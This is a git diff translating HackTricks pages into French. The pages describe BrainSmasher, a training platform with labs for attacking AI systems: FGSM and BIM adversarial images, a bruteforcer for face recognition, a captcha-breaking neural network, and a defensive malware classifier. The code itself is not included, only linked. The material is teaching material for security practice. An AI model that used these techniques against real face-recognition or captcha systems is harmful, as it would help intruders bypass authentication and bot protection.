+Pour la **quatrième partie**, nous ajouterons des tactiques pour ajouter de la robustesse à notre classificateur statique et fusionner ce dernier avec notre classificateur dynamique. +**VEUILLEZ NOTER :** Cette série repose fortement sur la construction d'un ensemble de données par vous-même, même si ce n'est pas obligatoire. Il existe également de nombreux ensembles de données disponibles pour l'analyse de logiciels malveillants statiques et/ou dynamiques sur plusieurs sites pour ce type de classification, comme Ember, VirusShare, Sorel-20M, mais je vous encourage fortement à en construire un vous-même. +Voici le lien vers notre [**notebook Colab**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) profitez-en et restez en sécurité :) diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md index c784edf25..095c8f07a 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md @@ -1,54 +1,52 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com). -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Presentation +# Présentation -**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... +**BrainSmasher** est une plateforme conçue dans le but d'aider les **testeurs de pénétration, les chercheurs, les étudiants, les ingénieurs en cybersécurité A.I.** à pratiquer et à apprendre toutes les techniques d'exploitation des applications commerciales d'A.I., en travaillant sur des laboratoires spécialement conçus qui reproduisent plusieurs systèmes, tels que la reconnaissance faciale, la reconnaissance vocale, la classification d'images en ensemble, la conduite autonome, l'évasion de logiciels malveillants, les chatbots, l'empoisonnement de données, etc. -Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** (named challenges), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**. +Chaque mois, un laboratoire sur divers sujets trouvés dans les applications commerciales d'A.I. sera publié, avec **3 difficultés différentes** (nommées défis), afin de **guider** l'utilisateur dans la **compréhension** de toutes les mécaniques derrière cela et de pratiquer **différentes** façons d'**exploitation**. -Since A.I. applications are relatively new, there is also the possibility that the **harder difficulty challenges for the labs don't have some public known ways of exploitation**, so it's up to you to find the correct solution. Maybe some challenges could need the **combination** of "**standard**" **cybersecurity** techniques with **machine** **learning** adversarial attacks ;) +Comme les applications d'A.I. sont relativement nouvelles, il est également possible que les défis de difficulté plus élevée pour les laboratoires n'aient pas de moyens d'exploitation publics connus, il vous appartient donc de trouver la solution correcte. Peut-être que certains défis pourraient nécessiter la **combinaison** de techniques de cybersécurité "**standard**" avec des attaques adversaires d'apprentissage automatique ;) -The platform, which is now in **beta** version, will also feature in the next future **paid** competitions, **job** **offers** posting, **ranking** system, **tutorials** on several A.I. exploit topics, the possibility to **earn** **money** by **proposing** personal **labs** or different challenges, for an already existent A.I. lab applications, to be used by the community and also propose modification already existent challenges in order to augment their robustness vs. the various attacks. +La plateforme, qui est maintenant en version **bêta**, proposera également dans un proche avenir des compétitions **payantes**, des offres d'**emploi**, un système de **classement**, des **tutoriels** sur plusieurs sujets d'exploitation d'A.I., la possibilité de **gagner de l'argent** en proposant des laboratoires personnels ou des défis différents, pour une application de laboratoire A.I. déjà existante, à utiliser par la communauté et proposer également des modifications de défis déjà existants afin d'augmenter leur robustesse contre les différentes attaques. -All the **material and the techs for the exploitation of A.I. will be posted here** in a dedicated section of hacktricks. +Tous les **matériaux et les techniques pour l'exploitation de l'A.I. seront publiés ici** dans une section dédiée de hacktricks. -**While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**.\ -**So start learning how to exploit A.I. for free while you can in** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\ -ENJOY ;) +**Pendant** que nous sommes en version **bêta** et que nous complétons la mise en œuvre de toutes les fonctionnalités décrites ci-dessus, l'abonnement et tous les laboratoires déjà publiés avec leurs défis relatifs sont **gratuits**.\ +**Alors commencez à apprendre comment exploiter l'A.I. gratuitement tant que vous le pouvez sur** [**le site Web de BrA.I.Smasher**](https://beta.brainsmasher.eu)\ +AMUSEZ-VOUS ;) -_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_ +_Un grand merci à Hacktricks et Carlos Polop de nous avoir donné cette opportunité_ -> _Walter Miele from BrA.I.nsmasher_ +> _Walter Miele de BrA.I.nsmasher_ -# Registry Challenge +# Défi d'enregistrement -In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu)you need to solve an easy challenge ([**here**](https://beta.brainsmasher.eu/registrationChallenge)).\ -Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse... +Pour s'inscrire sur [**BrA.I.Smasher**](https://beta.brainsmasher.eu), vous devez résoudre un défi facile ([**ici**](https://beta.brainsmasher.eu/registrationChallenge)).\ +Réfléchissez simplement à la façon dont vous pouvez confondre un réseau neuronal sans confondre l'autre sachant que l'un détecte mieux le panda tandis que l'autre est pire... {% hint style="info" %} -However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). +Cependant, si à un moment donné vous **ne savez pas comment résoudre** le défi, ou **même si vous le résolvez**, consultez la solution officielle dans [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). {% endhint %} -I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images.** +Je dois vous dire qu'il y a des moyens **plus simples** de passer le défi, mais cette **solution** est **impressionnante** car vous apprendrez comment passer le défi en effectuant une **attaque d'image adversaire en utilisant une méthode de gradient rapide signée (FGSM) pour les images.** -# More Tutorials +# Plus de tutoriels {% content-ref url="basic-captcha-breaker.md" %} [basic-captcha-breaker.md](basic-captcha-breaker.md) @@ -59,16 +57,14 @@ I have to tell you that there are **easier ways** to pass the challenge, but thi ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com). -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md index 1fb2bd014..16de300d0 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md @@ -1,50 +1,12 @@ +# SCRIPT DE CORRUPTION D'IMAGE BRUTEFORCER +Le but ici est d'introduire l'utilisateur à certains concepts de base sur l'exploitation des applications **A.I.**, via des scripts faciles à suivre, qui représentent le cœur de l'écriture d'outils utiles.\
\ +Dans cet exemple (qui peut être utilisé pour résoudre les laboratoires faciles de BrainSmasher) en rappelant également ce qui est écrit dans la solution pour le défi d'introduction, nous fournirons une manière simple mais utile, afin de produire de manière itérative des images corrompues, pour bruteforcer les laboratoires de reconnaissance faciale facile (et donc également les applications réelles qui reposent sur les mêmes principes). -
+Bien sûr, nous ne fournirons pas le code complet mais seulement la partie centrale pour l'exploitation du modèle, **au lieu de cela, certaines exercices seront laissés à l'utilisateur (la partie de pentesting)**, afin de compléter l'outil. Nous fournirons également quelques indices, juste pour donner une idée de ce qui peut être fait. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# BRUTEFORCER IMAGE CORRUPTION SCRIPT - -The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.\
\ -In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) - -Of course we will not provide the full code but only the core part for the exploiting of the model, **instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. - -The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) - -Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu) - -Enjoy and stay safe! - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Le script peut être trouvé à [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) +Essayez-le sur nos laboratoires [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu) +Profitez-en et restez en sécurité! diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md index 8b323a78d..a38407b71 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md @@ -1,43 +1,3 @@ +Dans ce tutoriel, un **captcha basique va être cassé**. Un **RN va être entraîné** en utilisant plusieurs **images** qui représentent des **lettres**, puis ce RN sera utilisé pour **identifier automatiquement les lettres à l'intérieur d'une image de captcha**. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -In this tutorial **a basic captcha is going to be broken**. -A **NN is going to be trained** using several **images** that represents **letters** and then this NN is going to be used to **automatically identify the letters inside a captcha image**. - -Check the awesome guided tutorial provided by [**BrA.In Smasher**](https://beta.brainsmasher.eu/) in this [**google collab page**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing). - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +Consultez l'excellent tutoriel guidé fourni par [**BrA.In Smasher**](https://beta.brainsmasher.eu/) sur cette [**page Google Collab**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing). diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md index 2eae9b299..05ec85486 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md @@ -1,52 +1,13 @@ +# SCRIPT DE BASE DE BRUTEFORCE AVEC ATTAQUE BIM +Cette fois, nous introduisons un nouveau type d'attaque basée sur un gradient, afin de forcer une application de classification d'images (peut être façonnée et utilisée pour n'importe quelle entrée bien sûr), le BIM ou Basic Iteration Method. -
+Il est recommandé de voir au moins l'explication dans le [**Notebook de défi d'introduction Colab**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Pour approfondir le sujet BIM: [https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf) -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# BRUTEFORCER CORE SCRIPT WITH BIM ATTACK - -This time we introduce a new type of gradient based attack, in order to brute force an image classification app \(can be shaped and used for any input of course\), the BIM, or Basic Iteration Method. - -It’s recommended to see at least the explanation in the [**introduction challenge colab Notebook**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) - -To go deeper on the BIM topic:[ https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf) - -As usual we will provide only the A.I. attack core part, it’s up to you to complete the tool and blending it with PT techniques, depending on the situations. +Comme d'habitude, nous ne fournirons que la partie centrale de l'attaque A.I., il vous appartient de compléter l'outil et de le mélanger avec des techniques PT, en fonction des situations. {% hint style="info" %} -Remember, in those kind of scenarios, in order to mime real-based attack applications, we don’t have the exact model to fool or the image target in which we would like to transform our image. That’s why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool. +Rappelez-vous, dans ce genre de scénarios, afin de simuler des applications d'attaque basées sur la réalité, nous n'avons pas le modèle exact à tromper ou l'image cible dans laquelle nous voudrions transformer notre image. C'est pourquoi, afin de surmonter ce problème, nous devons mélanger notre script de base avec une logique de brute force, en fonction des réponses de l'application que nous voulons tromper. {% endhint %} - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md index 62f74da52..c6228078d 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md @@ -1,41 +1,39 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# A.I. HYBRID MALWARE CLASSIFIER +# CLASSIFICATEUR DE MALWARE HYBRIDE A.I. -## INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS \(Part 1\) +## COMPÉTENCES PYTHON INTERMÉDIAIRES, COMPÉTENCES EN APPRENTISSAGE MACHINE INTERMÉDIAIRES \(Partie 1\) -In this series of notebook we are going to build an **hybrid malware classifier.** +Dans cette série de notebooks, nous allons construire un **classificateur de malware hybride.** -For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program. +Pour la **première partie**, nous nous concentrerons sur le script qui implique l'analyse dynamique. Toutes les étapes de cette série seront utiles pour détecter les malwares, et dans cette partie, nous essaierons de les classer en fonction de leur comportement, en utilisant les journaux produits par l'exécution d'un programme. -In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion. +Dans la **deuxième partie**, nous verrons comment manipuler les fichiers journaux afin d'ajouter de la robustesse à notre classificateur et ajuster le code pour contrer les méthodes plus avancées d'évasion de malware A.I. -In the **Third Part** we will create a Static Malware Classifier. +Dans la **troisième partie**, nous créerons un classificateur de malware statique. -For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier. +Pour la **quatrième partie**, nous ajouterons des tactiques pour ajouter de la robustesse à notre classificateur statique et fusionner ce dernier avec notre classificateur dynamique. -**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it’s not mandatory. +**VEUILLEZ NOTER :** Cette série repose fortement sur la construction d'un ensemble de données par vous-même, même si ce n'est pas obligatoire. -There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own. +Il existe également de nombreux ensembles de données disponibles pour l'analyse de malwares statiques et/ou dynamiques sur plusieurs sites pour ce type de classification, comme Ember, VirusShare, Sorel-20M, mais je vous encourage fortement à en construire un vous-même. -Here’s the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :\) +Voici le lien vers notre [**notebook colab**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) profitez-en et restez en sécurité :\) @@ -43,16 +41,14 @@ Here’s the link to our [**colab notebook**](https://colab.research.google.com/ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 